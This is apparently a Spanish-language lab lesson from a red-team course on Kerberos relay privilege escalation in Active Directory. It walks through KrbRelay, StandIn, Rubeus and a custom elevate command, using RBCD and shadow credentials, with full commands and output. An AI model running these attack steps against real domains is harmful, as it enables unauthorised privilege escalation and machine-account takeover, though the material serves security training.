El atacante inicia un servidor RPC malicioso que obligará a los clientes conectados a autenticarse usando Kerberos solamente y, mediante bindings de seguridad apropiados, puede especificar un SPN completamente arbitrario. Esto obligará a generar un service ticket para un servicio/SPN que el atacante no controla, como HOST/DC. Luego, fuerzan a un servidor COM privilegiado a conectarse a su servidor RPC malicioso, el cual realizará la autenticación y generará los Kerberos tickets apropiados. En este ejemplo, el servidor RPC malicioso recibiría un KRB_AP_REQ para HOST/DC como la cuenta de equipo local, que el atacante puede relayar a LDAP/DC en su lugar. Con un service ticket válido para LDAP, pueden enviar solicitudes al DC como la cuenta de equipo para modificar el objeto del equipo en Active Directory. Esto abre la puerta para otras primitivas de ataque como RBCD y shadow credentials para lograr el LPE.

Vale la pena mencionar que si el signing o channel binding están habilitados, entonces estos ataques no son posibles. Afortunadamente (o desafortunadamente, dependiendo de tu punto de vista), el signing todavía está deshabilitado por defecto, incluso en protocolos críticos como LDAP.

Existen herramientas como KrbRelayUp que automatizan la mayoría de los pasos de explotación requeridos, pero nosotros los realizaremos manualmente. La razón principal es 1) entender todos los pasos en mayor detalle; 2) saber cómo y qué limpiar después (lo cual estas herramientas a menudo omiten); y 3) tener un control más granular sobre el proceso para adaptarnos a diferentes entornos o configuraciones específicas. Para el relaying, utilizaremos la herramienta original KrbRelay de cube0x0; y para el LPE, herramientas con las que ya estamos familiarizados, incluyendo StandIn, Whisker y Rubeus.

Esta lección mostrará cómo el relaying de Kerberos puede ser utilizado para LPE a SYSTEM en WKSTN-2 como bfarmer.

Un aspecto desafortunado de KrbRelay es que, debido a que utiliza el paquete de criptografía BouncyCastle (que es bastante grande), su tamaño compilado total es mayor que el tamaño de tarea predeterminado permitido para Beacon. Intentar ejecutarlo con execute-assembly generará un error:

beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe
[-] Task size of 1727291 bytes is over the max task size limit of 1048576 bytes.

Podríamos intentar modificar la herramienta para hacerla más pequeña o modificar el tamaño de tarea de Beacon para hacerlo más grande. La última opción es bastante sencilla porque puede controlarse con el ajuste tasks_max_size en Malleable C2; la desventaja es que no se puede aplicar retrospectivamente a los Beacons existentes. Para duplicar el tamaño de la tarea, agrega set tasks_max_size "2097152"; al inicio de tu perfil de C2.

Notarás un retraso significativo dentro del cliente CS al ejecutar tareas con artefactos grandes.

También debes recordar reiniciar el team server y regenerar tus payloads después de realizar cambios en el perfil de Malleable C2.

RBCD

Como se mencionó en la lección de RBCD, es necesario tener control sobre otro objeto de computadora para abusar de él. Si está disponible, la forma más fácil es agregar tu propio objeto de computadora al dominio y obtener su SID.

beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make

[?] Using DC    : dc-2.dev.cyberbotic.io
    |_ Domain   : dev.cyberbotic.io
    |_ DN       : CN=EvilComputer,CN=Computers,DC=dev,DC=cyberbotic,DC=io
    |_ Password : 2GsXwLNRAV30RIx

[+] Machine account added to AD..

beacon> powershell Get-DomainComputer -Identity EvilComputer -Properties objectsid

objectsid                                   
---------                                   
S-1-5-21-569305411-121244042-2357301523-9101

El siguiente paso es encontrar un puerto adecuado para el OXID resolver para evitar un chequeo en el Remote Procedure Call Service (RPCSS). Esto puede hacerse con CheckPort.exe.

beacon> execute-assembly C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10

Con eso, ejecuta KrbRelay.

beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-569305411-121244042-2357301523-9101 -port 10

Donde:

  • -spn es el servicio objetivo al cual realizar el relay.
  • -clsid representa RPC_C_IMP_LEVEL_IMPERSONATE.
  • -rbcd es el SID de la cuenta de computadora falsa.
  • -port es el puerto devuelto por CheckPort.
[*] Relaying context: dev.cyberbotic.io\WKSTN-2$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Windows\system32\rundll32.exe
[*] Register com server
objref:TUVPVw[...snip...]AAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8

[*] apReq: 608206[...snip...]f3f91c
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8187[...snip...]66ea24
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b30[...snip...]c15bae
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS

Si consultamos WKSTN-2$, veremos que ahora hay una entrada en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity.

beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Debido a que tenemos la contraseña asociada con EvilComputer, podemos solicitar un TGT y realizar un S4U para obtener tickets de servicio utilizables para WKSTN-2. Usemos esto para obtener un ticket para HOST/WKSTN-2.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:1DE19DC9065CFB29D6F3E034465C56D1AEC3693DB248F04335A98E129281177A /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 1DE19DC9065CFB29D6F3E034465C56D1AEC3693DB248F04335A98E129281177A
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF8j[...snip...]MuaW8=

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:EvilComputer$ /impersonateuser:Administrator /msdsspn:host/wkstn-2 /ticket:doIF8j[...snip...]MuaW8= /ptt

[*] Action: S4U

[*] Building S4U2self request for: 'EvilComputer$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'EvilComputer$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFzj[...snip...]RlciQ=

[*] Impersonating user 'Administrator' to target SPN 'host/wkstn-2'
[*] Building S4U2proxy request for service: 'host/wkstn-2'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'host/wkstn-2':

      doIGej[...snip...]N0bi0y

[+] Ticket successfully imported!

Info

Nota cómo esta es una ocasión en la que no usamos el FQDN de la máquina objetivo en el parámetro msdsspn.

Para realizar la elevación, usaremos este ticket para interactuar con el Service Control Manager local sobre Kerberos para crear e iniciar un payload binario de servicio. Para simplificar esto, he creado un BOF y un Aggressor Script que registra un nuevo comando elevate en Beacon. Se encuentra en C:\Tools\SCMUACBypass y está basado en el gist SCMUACBypass de James.

beacon> elevate svc-exe-krb tcp-local

AcquireCredentialsHandleHook called for package Negotiate
Changing to Kerberos package

[+] received output:
InitializeSecurityContext called for target HOST/127.0.0.1
InitializeSecurityContext status = 00090312

[+] received output:
InitializeSecurityContext called for target HOST/127.0.0.1
InitializeSecurityContext status = 00000000

[+] established link to child beacon: 10.10.123.102

Shadow Credentials

La ventaja de usar shadow credentials sobre RBCD es que no necesitamos agregar una computadora falsa al dominio. Primero, verifica que WKSTN-2 no tenga nada en su atributo msDS-KeyCredentialLink.

beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:wkstn-2$

[*] Searching for the target account
[*] Target user found: CN=WKSTN-2,OU=Workstations,DC=dev,DC=cyberbotic,DC=io
[*] Listing deviced for wkstn-2$:
[*] No entries!

Ejecuta KrbRelay como antes, pero esta vez con el parámetro -shadowcred.

beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred -port 10

[*] Relaying context: dev.cyberbotic.io\WKSTN-2$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Windows\system32\rundll32.exe
[*] Register com server
objref:TUVPVw[...snip...]AAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8

[*] apReq: 608206[...snip...]b23c98
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8187[...snip...]f5de0f
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b30[...snip...]7a2322
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS

Info

Si realizas estos ataques uno tras otro y ves un error como (0x800706D3): The authentication service is unknown. entonces reinicia la máquina o espera la siguiente sincronización del reloj.

Al igual que Whisker, KrbRelay proporcionará útilmente un comando completo de Rubeus que solicitará un TGT para WKSTN-2. Sin embargo, devolverá un ticket RC4, así que si deseas un AES en su lugar, haz lo siguiente:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-2$ /certificate:MIIJyA[...snip...]QCAgfQ /password:"06ce8e51-a71a-4e0c-b8a3-992851ede95f" /enctype:aes256 /nowrap

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=WKSTN-2$ 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\WKSTN-2$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGkD[...snip...]5pbw==

El truco S4U2Self luego puede ser usado para obtener un ticket de servicio HOST como lo hicimos con RBCD.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:host/wkstn-2 /user:wkstn-2$ /ticket:doIGkD[...snip...]5pbw== /ptt

[*] Action: S4U

[*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Substituting alternative service name 'host/wkstn-2'
[*] Got a TGS for 'Administrator' to 'host@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIF6j[...snip...]N0bi0y

[+] Ticket successfully imported!

beacon> elevate svc-exe-krb tcp-local
[...snip...]

[+] established link to child beacon: 10.10.123.102